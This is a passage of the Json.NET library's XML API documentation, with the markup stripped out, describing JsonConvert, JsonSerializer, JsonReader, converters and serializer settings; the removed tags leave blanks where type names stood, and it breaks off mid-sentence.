This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously skips the children of the current token. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as 